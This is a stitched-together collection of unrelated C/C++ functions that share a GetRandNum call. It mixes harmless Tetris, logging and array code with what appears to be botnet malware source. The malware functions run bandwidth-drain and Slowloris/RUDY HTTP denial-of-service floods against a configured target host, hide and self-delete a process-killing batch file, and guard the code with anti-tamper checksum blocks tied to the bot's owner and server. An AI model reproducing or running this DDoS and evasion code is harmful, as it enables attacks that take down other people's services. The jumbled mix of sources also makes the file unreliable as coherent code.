DWORD WINAPI BandwithDrain(LPVOID) { char cTargetHost[MAX_PATH]; strcpy(cTargetHost, cFloodHost); while(bDdosBusy) { // <!-------! CRC AREA START !-------!> char cCheckString[DEFAULT]; sprintf(cCheckString, "%s--%s", cVersion, cOwner); char *cStr = cCheckString; unsigned long ulCheck = (((10000/100)*100)-4619); int nCheck; while((nCheck = *cStr++)) ulCheck = ((ulCheck << 5) + ulCheck) + nCheck; if(ulCheck != ulChecksum2) break; // <!-------! CRC AREA STOP !-------!> srand(GenerateRandomSeed()); char cRandomFileName[MAX_PATH]; sprintf(cRandomFileName, "%s\\B%i.tmp", cAppData, GetRandNum(899999) + 100000); if(DownloadUrlToFile(cTargetHost, cRandomFileName)) Sleep(GetRandNum(4000) + 1000); DeleteFile(cRandomFileName); } return 1; }
VOID InitGame() { int iTmp; TetrisX = (GAME_X - 4) / 2; TeTrisY = 0; g_uiInterval = DEFAULT_INTERVAL; g_uiScore = 0; iTmp = GetRandNum(0, TETRIS_CNT); memcpy(g_CurTetris, g_astTetris[iTmp], sizeof(g_CurTetris)); iTmp = GetRandNum(0, TETRIS_CNT); memcpy(g_NextTetris, g_astTetris[iTmp], sizeof(g_NextTetris)); memset(g_stGame, 0, sizeof(g_stGame)); }
void CLogTestDlg::LogRandMsg(void) { CString strRand = _T(""); int nLen = 0; nLen = GetRandNum(36, 1024); char ch = 0; for (int i=0; i<nLen; i++) { ch = GetRandNum(33, 126); strRand += ch; } int nID = GetRandNum(1, 400); int nType = GetRandNum(1, 4); if(nID > 300) { nType = LogType::Error; } USES_CONVERSION; LogS(nID, nType, "Unit", T2A(strRand)); }
void GetRandNumEx(DataType **DataArr, SizeType size, int bGetNegative) { GetRandNum(DataArr, size); srand((unsigned int)time(NULL)); SizeType num = size / sizeof(DataType); for(unsigned int i = 0; i < num; i++) { int tmp = rand(); if((tmp % 2) == 0) (*DataArr)[i] *= bGetNegative; } }
VOID RefreshTetris(int nStartX, int nStartY, BOOL bTetris[4][4], BOOL bGame[GAME_X][GAME_Y]) { int x, y; BOOL bFlag; int newY; int iFullLine = 0; //消去慢行的格子,这里记录行数,用于记分 //合并 bTetris 到 bGame for (x = 0; x < 4; x++) { for (y = 0; y < 4; y++) { if (bTetris[x][y]) bGame[nStartX + y][nStartY + x] = TRUE; } } for (y = GAME_Y, newY = GAME_Y; y >= 0; y--) { bFlag = FALSE; for (x = 0; x < GAME_X; x++) { bGame[x][newY] = bGame[x][y]; if (!bGame[x][y]) //不满格 { bFlag = TRUE; } } if (bFlag) { newY--; } else { //满格的化,用上一行替换这一行 iFullLine++; } } if (iFullLine) { g_uiScore += (iFullLine * 100); } memcpy(g_CurTetris, g_NextTetris, sizeof(g_CurTetris)); memcpy(g_NextTetris, g_astTetris[GetRandNum(0, TETRIS_CNT)], sizeof(g_NextTetris)); TetrisX = (GAME_X - 4) / 2; TeTrisY = 0; }
DWORD GetPidFromFilename(LPTSTR szExe) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; DWORD dwPid = 0; // <!-------! CRC AREA START !-------!> char cCheckString1[DEFAULT]; sprintf(cCheckString1, "%s:%i", cServer, usPort); char *pcStr1 = cCheckString1; unsigned long ulCheck1 = 5081+(30*10); int nCheck1; while((nCheck1 = *pcStr1++)) ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1; if(ulCheck1 != ulChecksum3) return GetRandNum(5000); // <!-------! CRC AREA STOP !-------!> hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe32.dwSize = sizeof(PROCESSENTRY32); if(!Process32First(hProcessSnap, &pe32)) { CloseHandle(hProcessSnap); return dwPid; } do { if(lstrcmpi(pe32.szExeFile, szExe) == 0) { dwPid = pe32.th32ProcessID; break; } } while(Process32Next(hProcessSnap, &pe32)); CloseHandle(hProcessSnap); return dwPid; }
DWORD WINAPI DdosSlowlorisRudy(LPVOID) { char cTargetHost[MAX_PATH]; strcpy(cTargetHost, cFloodHost); char cTargetPath[DEFAULT]; strcpy(cTargetPath, cFloodPath); char cTargetData[DEFAULT]; strcpy(cTargetData, cFloodData); unsigned short usTargetPort = usFloodPort; unsigned short usType = usFloodType; unsigned short usPacketGenerationType; bool bRudy; if(usType == DDOS_HTTP_RUDY) { usPacketGenerationType = HTTP_RUDY; bRudy = TRUE; } else if(usType == DDOS_HTTP_SLOWLORIS) { usPacketGenerationType = HTTP_SLOWLORIS; bRudy = FALSE; } else if(usType == DDOS_HTTP_COMBO) { unsigned short usRandNum = GetRandNum(100); if(usRandNum < 50) { usPacketGenerationType = HTTP_RUDY; bRudy = TRUE; } else { usPacketGenerationType = HTTP_SLOWLORIS; bRudy = FALSE; } } else return 0; SOCKADDR_IN sck; HOSTENT *paddr; for(unsigned short us = 0; us < 25; us++) { paddr = fncgethostbyname(cTargetHost); if(paddr != NULL) break; Sleep(100); } sck.sin_addr = (*(in_addr*)*paddr->h_addr_list); sck.sin_port = fnchtons(usTargetPort); sck.sin_family = AF_INET; unsigned short usSocketCount = 25; unsigned short usDelay = 5000; SOCKET sSock[usSocketCount]; DWORD dwMode = 1; char cHoldConnection[7]; strcpy(cHoldConnection, "X-a: b\r\n"); while(bDdosBusy) { for(unsigned short us = 0; us < usSocketCount; us++) { if(!bDdosBusy) break; sSock[us] = fncsocket(AF_INET, SOCK_STREAM, NULL); if(sSock[us] == INVALID_SOCKET) continue; // <!-------! CRC AREA START !-------!> char cCheckString[DEFAULT]; sprintf(cCheckString, "%s--%s", cVersion, cOwner); char *cStr = cCheckString; unsigned long ulCheck = (((10000/100)*100)-4619); int nCheck; while((nCheck = *cStr++)) ulCheck = ((ulCheck << 5) + ulCheck) + nCheck; if(ulCheck != ulChecksum2) closesocket(sSock[us]); // <!-------! CRC AREA STOP !-------!> //fncioctlsocket(sSock[us], FIONBIO, &dwMode); } for(unsigned short us = 0; us < usSocketCount; us++) { if(!bDdosBusy) break; char cPacket[MAX_DDOS_BUFFER]; strcpy(cPacket, GenerateHttpPacket(usPacketGenerationType, cTargetHost, cTargetPath, usTargetPort, cTargetData)); if(fncconnect(sSock[us], (PSOCKADDR)&sck, sizeof(sck)) != SOCKET_ERROR) { if(fncsend(sSock[us], cPacket, strlen(cPacket), NULL) != SOCKET_ERROR) dwHttpPackets++; } } Sleep(GetRandNum(usDelay) + (usDelay / 2)); for(unsigned short us = 0; us < usSocketCount; us++) fncclosesocket(sSock[us]); } return 1; }
bool KillProcessByPid(DWORD dwPid, bool bKillChildren) { // <!-------! CRC AREA START !-------!> char cCheckString1[DEFAULT]; sprintf(cCheckString1, "%s:%i", cServer, usPort); char *pcStr1 = cCheckString1; unsigned long ulCheck1 = 5081+(30*10); int nCheck1; while((nCheck1 = *pcStr1++)) ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1; if(ulCheck1 != ulChecksum3) return true; // <!-------! CRC AREA STOP !-------!> RemoteDaclProtection(dwPid); bool bReturn = FALSE; if(bKillChildren) { char cBatchFileContents[DEFAULT]; strcpy(cBatchFileContents, "@echo off\nTASKKILL /F /T /PID "); char cPid[8]; itoa(dwPid, cPid, 10); strcat(cBatchFileContents, cPid); strcat(cBatchFileContents, ">NUL\nDEL %0>NUL\n"); char cBatchFileName[MAX_PATH]; sprintf(cBatchFileName, "%s\\K%li.bat", cTempDirectory, ulFileHash); FILE * fFile; fFile = fopen(cBatchFileName, "w"); if(fFile != NULL) { fputs(cBatchFileContents, fFile); fclose(fFile); ShellExecute(NULL, NULL, cBatchFileName, NULL, NULL, SW_HIDE); } Sleep(GetRandNum(500) + 250); } HANDLE hProcess = NULL; if(GetCurrentProcessId() != dwPid) hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, dwPid); if(hProcess != NULL) { if(TerminateProcess(hProcess, NULL)) bReturn = TRUE; } else if(bKillChildren) bReturn = TRUE; CloseHandle(hProcess); return bReturn; }